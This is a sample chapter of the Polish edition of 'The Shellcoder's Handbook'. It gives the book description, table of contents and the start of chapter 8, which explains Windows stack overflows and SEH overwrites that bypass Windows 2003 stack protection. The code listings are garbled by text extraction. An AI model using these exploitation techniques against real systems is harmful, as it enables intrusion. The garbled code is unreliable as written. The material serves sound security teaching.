background image

Wydawnictwo Helion
ul. Chopina 6
44-100 Gliwice
tel. (32)230-98-63

e-mail: helion@helion.pl

PRZYK£ADOWY ROZDZIA£

PRZYK£ADOWY ROZDZIA£

IDZ DO

IDZ DO

ZAMÓW DRUKOWANY KATALOG

ZAMÓW DRUKOWANY KATALOG

KATALOG KSI¥¯EK

KATALOG KSI¥¯EK

TWÓJ KOSZYK

TWÓJ KOSZYK

CENNIK I INFORMACJE

CENNIK I INFORMACJE

ZAMÓW INFORMACJE

O NOWOCIACH

ZAMÓW INFORMACJE

O NOWOCIACH

ZAMÓW CENNIK

ZAMÓW CENNIK

CZYTELNIA

CZYTELNIA

FRAGMENTY KSI¥¯EK ONLINE

FRAGMENTY KSI¥¯EK ONLINE

SPIS TRECI

SPIS TRECI

DODAJ DO KOSZYKA

DODAJ DO KOSZYKA

KATALOG ONLINE

KATALOG ONLINE

The Shellcoders Handbook.
Edycja polska

Usuñ luki w zabezpieczeniach programów i systemów operacyjnych

• Poznaj przyczyny powstawania luk
• Naucz siê sposobów w³amañ do systemów
• Podejmij odpowiednie rodki zapobiegawcze

Niemal co tydzieñ dowiadujemy siê o nowych „³atach” usuwaj¹cych luki
w zabezpieczeniach systemów operacyjnych i programów. Niestety — czêsto, zanim ³ata 
zostanie rozpowszechniona i zainstalowana na komputerach, kto wykorzysta „dziurê” 
w systemie i w³amie siê do niego. Có¿ wiêc zrobiæ, aby zabezpieczyæ swoje dane przez 
atakiem hakera? Jak znaleæ s³abe punkty zabezpieczeñ i usun¹æ je? W jaki sposób 
zaimplementowaæ odpowiednie zabezpieczenia w tworzonym przez siebie 
oprogramowaniu?

Ksi¹¿ka „The Shellcoder’s handbook. Edycja polska” zawiera odpowiedzi na wszystkie 
te pytania. Ksi¹¿ka bêd¹ca efektem pracy zespo³u z³o¿onego ze specjalistów w zakresie 
bezpieczeñstwa systemów komputerowych, analityków i hakerów przedstawia sposoby 
wykrywania s³abych punktów oprogramowania tworzonego w jêzyku C i sprawdzenia 
mo¿liwoci ich wykorzystania. Opisuje luki w istniej¹cych systemach i programach
oraz sposoby ich zabezpieczenia. Zawarte w niej wiadomoci pozwol¹ na tworzenie 
w³asnych systemów wykrywania b³êdów i pomog¹ ustaliæ, czy b³êdy te stanowi¹ 
potencjalne zagro¿enie. 

• Podstawowe metody w³amañ do ró¿nych systemów operacyjnych
• Techniki przepe³niania stosu, wykorzystywania kodu pow³oki
    i b³êdów ³añcuchów formatuj¹cych
• Kontrola s³abych punktów programów metodami wstrzykiwania kodu i fuzzingu
• Kontrola kodu ród³owego programów
• Klasy b³êdów
• Sposoby ledzenia s³abych punktów
• Analiza kodu binarnego
• Tworzenie eksploitów
• Ataki na systemy zarz¹dzania bazami danych

Autorzy: J. Koziol, D. Litchfield, D. Aitel,
Ch. Anley, S. Eren, N. Mehta, R. Hassell
T³umaczenie: Jaromir Senczyk
ISBN: 83-7361-597-0
Tytu³ orygina³u: 

The Shellcoders Handbook

Format: B5, stron: 560

Przyk³ady na ftp: 165 kB 

background image

Spis treści

O Autorach ...................................................................................... 13

Część I 

Wprowadzenie do metod włamań:
Linux na procesorach x86 ..............................................15

Rozdział 1.  Wprowadzenie ................................................................................. 17

Podstawowe pojęcia ........................................................................................................ 17

Zarządzanie pamięcią................................................................................................ 18
Asembler ................................................................................................................... 20

Rozpoznawanie przekładu kodu C++ w języku asemblera.............................................. 21
Podsumowanie ................................................................................................................ 23

Rozdział 2.  Przepełnienia stosu.......................................................................... 25

Bufory ............................................................................................................................. 25
Stos.................................................................................................................................. 27

Wywołania funkcji i stos........................................................................................... 28

Przepełnianie buforów na stosie ...................................................................................... 31

Wykorzystanie rejestru EIP....................................................................................... 32

Zdobywanie uprawnień root............................................................................................ 34

Problem adresu.......................................................................................................... 36
Metoda rozkazów NOP ............................................................................................. 39

Stos zabraniający wykonywania rozkazów ..................................................................... 41

Metoda powrotu do biblioteki libc ............................................................................ 41

Podsumowanie ................................................................................................................ 44

Rozdział 3.  Kod powłoki..................................................................................... 45

Wywołania systemowe.................................................................................................... 46
Kod powłoki używający wywołania systemowego exit()................................................ 48
Wstrzykiwanie kodu powłoki.......................................................................................... 51
Tworzenie nowej powłoki ............................................................................................... 53
Podsumowanie ................................................................................................................ 61

Rozdział 4.  Błędy łańcuchów formatujących ....................................................... 63

Warunki wstępne............................................................................................................. 63
Łańcuchy formatujące ..................................................................................................... 63
Błędy łańcuchów formatujących ..................................................................................... 65

background image

6

The Shellcoder's Handbook. Edycja polska

Włamania za pomocą łańcuchów formatujących............................................................. 69

Atak na usługę........................................................................................................... 70
Ujawnianie informacji............................................................................................... 71

Przejęcie sterowania ........................................................................................................ 76
Jak to możliwe? ............................................................................................................... 85
Przegląd technik łańcucha formatującego ....................................................................... 85
Podsumowanie ................................................................................................................ 88

Rozdział 5.  Wprowadzenie do metod przepełnienia sterty .................................... 89

Sterta ............................................................................................................................... 89

Zarządzanie stertą...................................................................................................... 91

Wyszukiwanie przepełnień sterty .................................................................................... 91

Podstawowe metody przepełniania sterty.................................................................. 92
Średnio zaawansowane metody przepełniania stosu ................................................. 98
Zaawansowane przepełnienia sterty ........................................................................ 104

Podsumowanie .............................................................................................................. 105

Część II  Włamania na platformach Windows, Solaris i Tru64.......107

Rozdział 6.  Wprowadzenie do systemu Windows............................................... 109

Różnice między systemami Linux i Windows............................................................... 109

Win32 i PE-COFF................................................................................................... 110

Sterty ............................................................................................................................. 112

Wątki....................................................................................................................... 113

Zalety i wady DCOM i DCE-RPC ................................................................................ 114

Rozpoznanie............................................................................................................ 116
Włamania ................................................................................................................ 117
Tokeny i podszywanie............................................................................................. 118
Obsługa wyjątków w Win32 ................................................................................... 120

Śledzenie działania programów w systemie Windows .................................................. 121

Błędy w Win32 ....................................................................................................... 122
Tworzenie kodu powłoki w systemie Windows ...................................................... 122
Przewodnik hakera po funkcjach Win32................................................................. 123
Rodzina systemów Windows z punktu widzenia hakera......................................... 123

Podsumowanie .............................................................................................................. 124

Rozdział 7.  Kody powłoki w Windows ............................................................... 125

Składnia i filtry.............................................................................................................. 125
Przygotowywanie kodu powłoki ................................................................................... 126
Parsowanie bloków PEB ............................................................................................... 127

Analiza kodu heapoverflow.c.................................................................................. 128

Przeszukiwanie z użyciem obsługi wyjątków................................................................ 143
Tworzenie nowej powłoki ............................................................................................. 146

Dlaczego nie warto tworzyć nowej powłoki w Windows ....................................... 147

Podsumowanie .............................................................................................................. 148

Rozdział 8.  Przepełnienia w systemie Windows................................................. 149

Przepełnienia buforów na stosie .................................................................................... 149

Procedury obsługi wyjątków dla ramek wywołań funkcji....................................... 150
Wykorzystanie procedur obsługi wyjątków na platformie Windows 2003 Server.. 154
Końcowe uwagi na temat nadpisań procedur obsługi wyjątków ............................. 158

Ochrona stosu i Windows 2003 Server ......................................................................... 159
Przepełnienia sterty ....................................................................................................... 164

Sterta procesu.......................................................................................................... 164
Sterty dynamiczne ................................................................................................... 165

background image

Spis treści

7

Korzystanie ze sterty ............................................................................................... 165
Jak działa sterta ....................................................................................................... 165

Wykorzystanie przepełnień sterty.................................................................................. 168

Nadpisanie wskaźnika funkcji RtlEnterCriticalSection w bloku PEB..................... 169
Nadpisanie wskaźnika pierwszej wektoryzowanej procedury obsługi wyjątków

pod adresem 77FC3210 ........................................................................................ 171

Nadpisanie wskaźnika filtra nieobsłużonych wyjątków .......................................... 174
Nadpisanie wskaźnika procedury obsługi wyjątków w bloku TEB ........................ 179
Naprawa sterty ........................................................................................................ 180
Inne aspekty przepełnień sterty ............................................................................... 182
Podsumowanie przepełnień sterty ........................................................................... 183

Inne przepełnienia ......................................................................................................... 183

Przepełnienia sekcji .data ........................................................................................ 183
Przepełnienia bloków TEB i PEB ........................................................................... 185

Przepełnienie buforów i stosy zabraniające wykonania kodu........................................ 185
Podsumowanie .............................................................................................................. 190

Rozdział 9.  Filtry ............................................................................................. 191

Tworzenie eksploitów i filtry alfanumeryczne .............................................................. 191
Tworzenie eksploitów i filtry Unicode .......................................................................... 195

Unicode ................................................................................................................... 195
Konwersja z ASCII na Unicode .............................................................................. 196

Wykorzystanie słabych punktów związanych z kodem Unicode .................................. 196

Zbiór rozkazów dostępnych dla eksploitów Unicode.............................................. 197

Metoda wenecka............................................................................................................ 198

Implementacja metody weneckiej dla kodu ASCII ................................................. 199

Dekoder i dekodowanie................................................................................................. 202

Kod dekodera .......................................................................................................... 203
Ustalenie adresu bufora........................................................................................... 204

Podsumowanie .............................................................................................................. 205

Rozdział 10. Wprowadzenie do włamań w systemie Solaris ................................. 207

Wprowadzenie do architektury SPARC ........................................................................ 208

Rejestry i okna rejestrów......................................................................................... 208
Szczelina zwłoki ..................................................................................................... 210
Rozkazy złożone ..................................................................................................... 211

Kody powłoki na platformie Solaris/SPARC ................................................................ 211

Kod powłoki i określanie własnego położenia ........................................................ 212
Prosty kod powłoki dla platformy SPARC.............................................................. 212
Przydatne wywołania systemu Solaris .................................................................... 213
Rozkaz NOP i rozkazy wypełniające ...................................................................... 214

Ramki na stosie platformy Solaris/SPARC ................................................................... 214
Techniki przepełnień stosu ............................................................................................ 215

Przepełnienia o dowolnym rozmiarze ..................................................................... 215
Okna rejestrów komplikują przepełnienia stosu...................................................... 216
Inne czynniki utrudniające przepełnienia stosu....................................................... 216
Możliwe rozwiązania .............................................................................................. 217
Przepełnienia jednym bajtem .................................................................................. 217
Położenie kodu powłoki .......................................................................................... 218

Przykłady przepełnień stosu .......................................................................................... 219

Atakowany program................................................................................................ 219
Eksploit ................................................................................................................... 221

Przepełnienia sterty na platformie Solaris/SPARC........................................................ 224

Wprowadzenie do sterty systemu Solaris................................................................ 224
Struktura drzewa sterty............................................................................................ 225

background image

8

The Shellcoder's Handbook. Edycja polska

Metoda podstawowa (t_delete)...................................................................................... 243

Ograniczenia standardowych przepełnień sterty ..................................................... 246
Cele nadpisań .......................................................................................................... 247

Inne słabe punkty sterty................................................................................................. 249

Przepełnienia jednym bajtem .................................................................................. 250
Podwójne zwolnienie .............................................................................................. 250
Inne błędy funkcji free().......................................................................................... 250

Przykład przepełnienia sterty......................................................................................... 251

Atakowany program................................................................................................ 251

Inne techniki włamań w systemie Solaris...................................................................... 255

Przepełnienia danych statycznych........................................................................... 255
Obejście zabezpieczenia stosu................................................................................. 255

Podsumowanie .............................................................................................................. 256

Rozdział 11. Zaawansowane metody włamań w systemie Solaris ........................ 257

Śledzenie modułu dynamicznej konsolidacji krok po kroku ......................................... 258
Sztuczki przepełnień sterty Solaris/SPARC .................................................................. 271
Zaawansowany kod powłoki na platformie Solaris/SPARC ......................................... 273
Podsumowanie .............................................................................................................. 284

Rozdział 12. Włamania w systemie HP Tru64 Unix ............................................. 285

Architektura procesorów Alpha..................................................................................... 286

Rejestry procesorów Alpha ..................................................................................... 286
Zbiór rozkazów ....................................................................................................... 287
Konwencje wywołań ............................................................................................... 287

Pobieranie licznika rozkazów (GetPC).......................................................................... 289
Wywołania systemowe.................................................................................................. 291
Dekoder XOR dla kodu powłoki ................................................................................... 291
Kod powłoki setuid + execve ........................................................................................ 293

Wywołania systemowe setuid(0) i execve("/bin/sh", ...) ......................................... 293
Kompilacja kodu w asemblerze i wyodrębnienie kodu powłoki ............................. 294
Kodowanie uzyskanych kodów powłoki funkcją XOR........................................... 295
Dołączenie zakodowanego kodu do dekodera XOR ............................................... 296
Kompilacja i wyodrębnienie ostatecznej postaci kodu powłoki.............................. 297

Kod powłoki zestawiający połączenie zwrotne ............................................................. 299
Kod powłoki wyszukujący gniazdo sieciowe ................................................................ 300
Kod powłoki dowiązujący gniazdo sieciowe................................................................. 301
Przepełnienia stosu ........................................................................................................ 303

Obejście ochrony stosu ........................................................................................... 303

Włamanie do usługi rpc.ttdbserver ................................................................................ 304
Podsumowanie .............................................................................................................. 311

Część III  Wykrywanie słabych punktów .......................................313

Rozdział 13. Tworzenie środowiska pracy ........................................................... 315

Źródła informacji........................................................................................................... 316
Narzędzia do tworzenia kodu ........................................................................................ 316

gcc ........................................................................................................................... 316
gdb .......................................................................................................................... 317
NASM ..................................................................................................................... 317
WinDbg................................................................................................................... 317
OllyDbg................................................................................................................... 317
SoftICE ................................................................................................................... 318
Visual C++ .............................................................................................................. 318
Python ..................................................................................................................... 318

background image

Spis treści

9

Narzędzia śledzenia kodu .............................................................................................. 318

Własne skrypty........................................................................................................ 318
Wszystkie platformy ............................................................................................... 320
Unix ........................................................................................................................ 320
Windows ................................................................................................................. 321

Artykuły, które powinieneś przeczytać ......................................................................... 322

Archiwa artykułów.................................................................................................. 324

Optymalizacja procesu tworzenia kodu powłoki ........................................................... 325

Plan eksploitu.......................................................................................................... 325
Tworzenie kodu powłoki za pomocą asemblera wbudowanego w kompilator........ 325
Biblioteka kodów powłoki ...................................................................................... 327
Kontynuacja działania atakowanego procesu.......................................................... 327
Zwiększanie stabilności eksploitu ........................................................................... 328
Wykorzystanie istniejącego połączenia................................................................... 329

Podsumowanie .............................................................................................................. 330

Rozdział 14. Wstrzykiwanie błędów.................................................................... 331

Ogólny projekt systemu................................................................................................. 332

Generowanie danych wejściowych ......................................................................... 332
Wstrzykiwanie błędów............................................................................................ 335
Moduł modyfikacji.................................................................................................. 335
Dostarczanie błędów do aplikacji............................................................................ 339
Algorytm Nagla....................................................................................................... 340
Zależności czasowe ................................................................................................. 340
Heurystyki............................................................................................................... 340
Protokoły ze stanem i bez........................................................................................ 341

Monitorowanie błędów.................................................................................................. 341

Wykorzystanie programu uruchomieniowego......................................................... 341
FaultMon................................................................................................................. 342

Kompletna aplikacja testująca ....................................................................................... 342
Podsumowanie .............................................................................................................. 343

Rozdział 15. Fuzzing .......................................................................................... 345

Ogólna teoria fuzzingu .................................................................................................. 345

Analiza statyczna kontra fuzzing............................................................................. 349
Fuzzing jest skalowalny .......................................................................................... 349

Wady fuzzerów ............................................................................................................. 351
Modelowanie dowolnych protokołów sieciowych ........................................................ 352
Inne technologie fuzzerów ............................................................................................ 352

Migotanie bitów ...................................................................................................... 353
Modyfikacja programów open source ..................................................................... 353
Fuzzing i analiza dynamiczna ................................................................................. 353

SPIKE............................................................................................................................ 354

Jak działa SPIKE? ................................................................................................... 354
Zalety stosowania struktur programu SPIKE

do modelowania protokołów sieciowych.............................................................. 355

Inne fuzzery................................................................................................................... 362
Podsumowanie .............................................................................................................. 362

Rozdział 16. Kontrola kodu źródłowego .............................................................. 363

Narzędzia....................................................................................................................... 364

Cscope..................................................................................................................... 364
Ctags ....................................................................................................................... 365
Edytory.................................................................................................................... 365
Cbrowser ................................................................................................................. 365

background image

10

The Shellcoder's Handbook. Edycja polska

Zautomatyzowane narzędzia kontroli kodu źródłowego ............................................... 366
Metodologia .................................................................................................................. 367

Metoda zstępująca................................................................................................... 367
Metoda wstępująca.................................................................................................. 367
Metoda selektywna.................................................................................................. 367

Klasy błędów................................................................................................................. 368

Ogólne błędy logiki................................................................................................. 368
(Prawie) wymarłe klasy błędów .............................................................................. 368
Błędy łańcuchów formatujących ............................................................................. 369
Ogólne błędy określenia zakresu............................................................................. 370
Pętle ........................................................................................................................ 371
Przepełnienia jednym bajtem .................................................................................. 372
Błędy braku zakończenia łańcucha ......................................................................... 373
Błędy przeskoczenia bajtu zerowego ...................................................................... 374
Błędy porównania wartości ze znakiem .................................................................. 375
Błędy związane z wartościami całkowitymi............................................................ 376
Konwersje wartości całkowitych o różnej reprezentacji ......................................... 378
Błędy podwójnego zwolnienia ................................................................................ 379
Użycie obszarów pamięci poza okresem ich ważności ........................................... 380
Użycie niezainicjowanych zmiennych .................................................................... 380
Błędy użycia po zwolnieniu .................................................................................... 381
Wielowątkowość i kod wielobieżny........................................................................ 382

Słabe punkty i zwykłe błędy.......................................................................................... 382
Podsumowanie .............................................................................................................. 383

Rozdział 17. Ręczne wykrywanie błędów ............................................................ 385

Filozofia ........................................................................................................................ 385
Przepełnienie extproc systemu Oracle........................................................................... 386
Typowe błędy architektury............................................................................................ 390

Problemy pojawiają się na granicach ...................................................................... 390
Problemy pojawiają się podczas przekładu danych................................................. 391
Problemy występują w obszarach asymetrii............................................................ 393
Problemy uwierzytelniania i autoryzacji ................................................................. 393
Problemy występują w najbardziej oczywistych miejscach .................................... 394

Obejście kontroli danych wejściowych i wykrywanie ataku ......................................... 394

Filtrowanie niedozwolonych danych....................................................................... 395
Zastosowanie alternatywnego kodowania ............................................................... 395
Dostęp do plików .................................................................................................... 396
Unikanie sygnatur ataków ....................................................................................... 398
Pokonywanie ograniczeń długości .......................................................................... 398

Atak typu DOS na implementację SNMP w Windows 2000 ........................................ 400
Wykrywanie ataków typu DOS..................................................................................... 401
SQL-UDP...................................................................................................................... 402
Podsumowanie .............................................................................................................. 403

Rozdział 18. Śledzenie słabych punktów ............................................................ 405

Wprowadzenie............................................................................................................... 406

Przykładowy program zawierający słaby punkt ...................................................... 406
Projekt komponentów ............................................................................................. 409
Budujemy VulnTrace .............................................................................................. 416
Posługiwanie się biblioteką VulnTrace ................................................................... 421
Techniki zaawansowane.......................................................................................... 424

Podsumowanie .............................................................................................................. 425

background image

Spis treści

11

Rozdział 19. Audyt kodu binarnego .................................................................... 427

Audyt kodu binarnego i kontrola kodu źródłowego — podobieństwa i różnice............ 427
IDA Pro ......................................................................................................................... 428

Krótki kurs obsługi.................................................................................................. 429
Symbole uruchomieniowe....................................................................................... 430

Wprowadzenie do audytu kodu binarnego .................................................................... 430

Ramki stosu............................................................................................................. 430
Konwencje wywołań ............................................................................................... 432
Kod generowany przez kompilator ......................................................................... 433
Konstrukcje typu memcpy ...................................................................................... 436
Konstrukcje typu strlen ........................................................................................... 437
Konstrukcje języka C++.......................................................................................... 438
Wskaźnik this.......................................................................................................... 438

Odtwarzanie definicji klas ............................................................................................. 438

Tablice funkcji wirtualnych .................................................................................... 439
Proste, ale przydatne wskazówki............................................................................. 440

Ręczna analiza kodu binarnego ..................................................................................... 440

Szybka weryfikacja wywołań bibliotecznych ......................................................... 440
Podejrzane pętle i rozkazy zapisu ........................................................................... 440
Błędy logiki............................................................................................................. 441
Graficzna analiza kodu binarnego ........................................................................... 442
Ręczna dekompilacja .............................................................................................. 442

Przykłady analizy kodu binarnego ................................................................................ 443

Błędy serwera Microsoft SQL................................................................................. 443
Błąd RPC-DCOM wykryty przez grupę LSD ......................................................... 444
Błąd IIS WebDAV .................................................................................................. 444

Podsumowanie .............................................................................................................. 446

Część IV  Techniki zaawansowane ...............................................447

Rozdział 20. Alternatywne strategie eksploitów ................................................. 449

Modyfikacja programu .................................................................................................. 450
Modyfikacja 3 bajtów kodu systemu SQL Server ......................................................... 450
MySQL i modyfikacja 1 bitu......................................................................................... 454
Modyfikacja uwierzytelniania RSA w OpenSSH.......................................................... 456
Inne koncepcje modyfikacji działającego kodu............................................................. 457

Modyfikacja generatora losowego w GPG 1.2.2..................................................... 458

Serwer progletów .......................................................................................................... 459
Proxy wywołań systemowych ....................................................................................... 459
Problemy związane z proxy wywołań systemowych..................................................... 461
Podsumowanie .............................................................................................................. 470

Rozdział 21. Eksploity działające w rzeczywistym środowisku ............................. 471

Czynniki wpływające na niezawodność ........................................................................ 471

Magiczne adresy...................................................................................................... 471
Problem wersji ........................................................................................................ 472
Problemy kodu powłoki .......................................................................................... 473

Środki zaradcze ............................................................................................................. 475

Przygotowanie......................................................................................................... 476
Metoda pełnego przeglądu ...................................................................................... 476
Lokalny eksploit...................................................................................................... 477
Sygnatury systemów i aplikacji............................................................................... 477
Wycieki informacji.................................................................................................. 479

Podsumowanie .............................................................................................................. 479

background image

12The Shellcoder's Handbook. Edycja polska

Rozdział 22. Ataki na systemy baz danych ......................................................... 481

Ataki w warstwie sieciowej........................................................................................... 482
Ataki w warstwie aplikacji ............................................................................................ 491
Wykonywanie poleceń systemu operacyjnego .............................................................. 491

Microsoft SQL Server ............................................................................................. 492
Oracle...................................................................................................................... 492
IBM DB2 ................................................................................................................ 493

Wykorzystanie przepełnień na poziomie języka SQL ................................................... 495

Funkcje języka SQL ................................................................................................ 496

Podsumowanie .............................................................................................................. 497

Rozdział 23. Przepełnienia jądra......................................................................... 499

Typy słabych punktów jądra ......................................................................................... 499
Słabe punkty jądra ......................................................................................................... 507

Przepełnienie stosu przez wywołanie exec_ibcs2_coff_prep_zmagic()

w systemie OpenBSD ........................................................................................... 507

Słaby punkt ............................................................................................................. 508

Funkcja vfs_getvfssw() i możliwość przeglądania modułów jądra w systemie Solaris .. 512

Wywołanie systemowe sysfs() ................................................................................ 514
Wywołanie systemowe mount().............................................................................. 514

Podsumowanie .............................................................................................................. 515

Rozdział 24. Wykorzystanie słabych punktów jądra ............................................ 517

Słaby punkt funkcji exec_ibcs2_coff_prep_zmagic().................................................... 517

Wyznaczenie przesunięć i adresów pułapek ........................................................... 522
Nadpisanie adresu powrotu i przejęcie sterowania.................................................. 523
Wyszukiwanie deskryptora procesu (lub struktury proc) ........................................ 524
Kod eksploitu wykonywany w trybie jądra ............................................................. 526
Powrót kodu wykonywanego na poziomie jądra..................................................... 528
Uzyskanie uprawnień root (uid=0).......................................................................... 533

Eksploit słabego punktu funkcji vfs_getvfssw() systemu Solaris .................................. 538

Eksploit ................................................................................................................... 539
Moduł jądra ............................................................................................................. 540
Uzyskanie uprawnień root (uid=0).......................................................................... 543

Podsumowanie .............................................................................................................. 544

Dodatki .......................................................................................545

Skorowidz ..................................................................................... 547

background image

Rozdział 8.

Przepełnienia
w systemie Windows

Zakładamy, że Czytelnik przystępujący do lektury tego rozdziału posiada przynajmniej
podstawową znajomość systemu Windows NT lub  jego  późniejszych  wersji,  a  także
zna sposoby wykorzystywania przepełnień buforów na tej platformie. W rozdziale omó-
wimy  bardziej  zaawansowane  aspekty  przepełnień  w  systemie  Windows,  na  przykład
związane  z  obchodzeniem  zabezpieczeń  stosu  zastosowanych  w  systemie  Windows
2003 Server czy przepełnieniami sterty. Zrozumienie tych zagadnień wymagać będzie
znajomości kluczowych rozwiązań zastosowanych na platformie Windows, takich jak
bloki TEB (Thread Environment Block) i PEB (Process Environment Block), a także
struktury pamięci procesów, plików wykonywalnych oraz nagłówków PE. Jeśli któreś
z tych pojęć są obce Czytelnikowi, to przed przystąpieniem do lektury tego rozdziału
powinien uzupełnić wiadomości w tym zakresie.

W rozdziale będziemy korzystać z narzędzi wchodzących w skład pakietu Visual Studio 6
firmy Microsoft, w szczególności z programu uruchomieniowego MSDEV, kompilatora
języka  C  wywoływanego  z  wiersza  poleceń  (cl)  oraz  programu  dumpbin.  Program
dumpbin jest doskonałym narzędziem uruchamianym z wiersza poleceń — wyświetla
wszelkie  informacje  o  plikach  binarnych,  tabelach  importu  i  eksportu,  sekcjach  pli-
ków oraz kodzie w asemblerze. Czytelnikom, którzy wolą posługiwać się narzędziem
wyposażonym  w graficzny interfejs  użytkownika, proponujemy  doskonały deasembler
firmy Datarescue o nazwie IDA Pro. Tworząc kod eksploitów na platformie Windows,
możemy korzystać ze składni asemblera zgodnej z przyjętą przez firmę Intel bądź za-
proponowanej przez AT&T. Wybór zależy od indywidualnych upodobań i preferencji.

Przepełnienia buforów na stosie

Metoda przepełniania buforów znana jest już od wielu lat i z pewnością będzie wykorzy-
stywana również w przyszłości. I nadal za każdym razem, gdy jest wykrywana w nowo-
czesnym oprogramowaniu, nie wiadomo, czy śmiać się, czy płakać. Tak czy owak, błędy

background image

150

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

te stanowią doskonałą pożywkę dla początkujących  hakerów.  W  sieci  Internet  dostęp-
nych jest wiele dokumentów szczegółowo opisujących sposoby wykorzystywania prze-
pełnień buforów. Omówiliśmy je również w pierwszych rozdziałach tej książki, dlate-
go teraz nie będziemy już powtarzać tych informacji.

Typowy eksploit bazujący  na przepełnieniu  stosu doprowadza do  nadpisania  adresu  po-
wrotu zapisanego na stosie adresem, który wskazuje rozkaz lub blok kodu przekazujący
sterowanie do kodu umieszczonego w buforze użytkownika. Zanim zajmiemy się po-
głębieniem tego zagadnienia,  krótko omówimy procedury obsługi  wyjątków bazujących
na ramkach stosu. Następnie przyjrzymy się sposobom nadpisywania struktur rejestracji
wyjątków na stosie i pokażemy, w jaki sposób technika taka może prowadzić do obej-
ścia zabezpieczeń stosu wbudowanych w system Windows 2003 Server.

Procedury obsługi wyjątków
dla ramek wywołań funkcji

Procedura  obsługi  wyjątków  jest  fragmentem  kodu,  który  zostaje  wywołany  na
skutek  pojawienia  się  problemu  podczas  wykonania  procesu,  na  przykład  naruszenia
uprawnień dostępu bądź wykonania dzielenia przez zero. Procedury obsługi wyjątków
mogą być powiązane z konkretnymi funkcjami. Wywołanie każdej funkcji prowadzi
do utworzenia na stosie odpowiadającej jej ramki wywołania. Informacja o procedurze
obsługi wyjątków może zostać umieszczona w ramce wywołania w strukturze 

.  Struktura  taka  składa  się  z  dwóch  elementów:  wskaźnika  następnej

struktury 

  oraz  wskaźnika  właściwej  procedury  obsługi  wy-

jątków. W ten sposób procedury obsługi wyjątków mogą tworzyć listę przedstawioną
na rysunku 8.1.

Rysunek 8.1.
Procedury obsługi
wyjątków dla ramek
wywołań funkcji

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

151

Każdy wątek procesu Win32 posiada przynajmniej jedną procedurę obsługi wyjątków.
Procedura  ta  tworzona  jest  podczas  uruchamiania  wątku.  Adres  pierwszej  struktury

 znajduje się w każdym bloku TEB pod adresem 

. W mo-

mencie wystąpienia wyjątków lista procedur obsługi przeglądana jest do momentu zna-
lezienia  właściwej  procedury  obsługi  wyjątku  (czyli  takiej,  która  zajmie  się  obsługą
wyjątku). Obsługa wyjątków w oparciu o ramki na stosie odbywa się na poziomie ję-
zyka C za pomocą słów kluczowych 

 i 

. Przypominamy, że większość kodów

przedstawionych w tej książce dostępna jest pod adresem

 

ftp://ftp.helion.pl/przyklady/

hell.zip

 !

"#!

$!

%

&

''&

(())*+

,

%

%

''

!

%

$!

%

Jeśli  w  bloku  umieszczonym  wewnątrz 

  wystąpi  wyjątek,  to  wywołana  zostanie

funkcja 

 !"

. W przykładzie tym celowo wywołujemy  wyjątek, zeru-

jąc zawartość rejestru 

, a następnie wykonując rozkaz 

 ""# 

.

Podczas przepełniania bufora na stosie i nadpisywania adresu powrotu mogą również
ulec  nadpisaniu  inne  zmienne,  co  może  być  przyczyną  komplikacji  podczas  włama-
nia.  Załóżmy  na  przykład,  że  funkcja  odwołuje  się  do  pewnej  struktury  za  pomocą
rejestru 

, który wskazuje początek tej struktury. Niech zmienna lokalna tej funkcji

reprezentuje przesunięcie wewnątrz wspomnianej struktury. Jeśli zmienna ta zostanie
nadpisana przy okazji nadpisywania adresu powrotu, a następnie załadowana do reje-
stru 

 i wykonany będzie na przykład rozkaz

&-./,

to musimy zapewnić, że wartość, którą nadpisaliśmy tą zmienną,  w połączeniu z za-
wartością  rejestru 

  reprezentuje  adres,  pod  którym  dozwolony  jest  zapis  danych.

background image

152

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

W przeciwnym bowiem razie nastąpi naruszenie ochrony pamięci, wywołane zostaną
odpowiednie  procedury  obsługi  wyjątków,  a  działanie  procesu  zostanie  najprawdopo-
dobniej  zakończone  i  stracimy  szansę  wykonania  naszego  kodu.  Nawet  jeśli  skory-
gujemy odpowiednio adres reprezentowany przez 

#$#

, to musimy liczyć się z wy-

stąpieniem  wielu  innych  podobnych  problemów,  którym  należy  zaradzić,  zanim
funkcja zwróci sterowanie. W niektórych przypadkach może to nawet być niemożliwe.
Najprostsza  metoda  rozwiązania  tego  problemu  polega  na  nadpisaniu  struktury

  w  taki  sposób,  aby  zapewnić  sobie  kontrolę  nad  wskaźni-

kiem procedury obsługi wyjątku. Dzięki temu w momencie wystąpienia wyjątku mo-
żemy przejąć kontrolę nad procesem — na przykład przez zastąpienie wskaźnika proce-
dury  obsługi  wyjątków  adresem  kodu,  który  przekaże  sterowanie  z  powrotem  do
naszego bufora.

Zastanówmy  się teraz,  w jaki sposób nadpisać  wskaźnik  procedury  obsługi  wyjątku,
abyśmy mogli wykonać dowolny kod umieszczony w buforze. Rozwiązanie zależy od
konkretnej wersji systemu i  zainstalowanych  pakietów  serwisowych.  W  systemach
Windows 2000 i Windows XP bez zainstalowanych pakietów serwisowych rejestr 

%

wskazuje  bieżącą  strukturę 

,  czyli  właśnie  tą,  którą  nadpi-

sujemy. Możemy wtedy nadpisać wskaźnik procedury obsługi wyjątków za pomocą
adresu, pod którym znajduje się rozkaz 

&'#(

 lub 

 ""#(

. W ten sposób na skutek

wystąpienia  wyjątków  powrócimy  zawsze  do  nadpisanej  struktury 

)

.  Wtedy  nadpiszemy  wskaźnik  następnej  struktury 

adresem  kodu,  który  wykona  krótki  skok  ponad  adresem  rozkazu 

&'# (

.  Sposób

nadpisania struktury 

 ilustruje rysunek 8.2.

Rysunek 8.2.
Nadpisywanie
struktury
EXCEPTION_
REGISTRATION

W systemach Windows 2003 Server oraz Windows XP Service Pack 1 sytuacja  wy-
gląda jednak inaczej. Rejestr 

%

 nie wskazuje już struktury 

.

Wszystkie rejestry,  które dotąd  wskazywały przydatne informacje, teraz zostają  wyze-
rowane przed wywołaniem procedury obsługi wyjątków. Zmiany tej firma Microsoft
dokonała prawdopodobnie w odpowiedzi na sposób działania robaka Code Worm, który
używał  tego  mechanizmu  do  przejęcia  kontroli  nad  serwerami  IIS.  Poniżej  przedsta-
wiamy kod  odpowiedzialny  za  wspomnianą  modyfikację  (dla  systemu  Windows  XP
Professional SP1).

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

153

00102340,

001023425,5

00102343,

00102346,

00102341-.7$/

00102389-.7$/

00102380-.7$/

00102383-.7$/

00102381-.7$/

001023090010230

0010230:

00102302

0010230;5

00102303#<

00102305

00102301&5,

001023:#-5.$=/

001023:<

001023:4>-$/

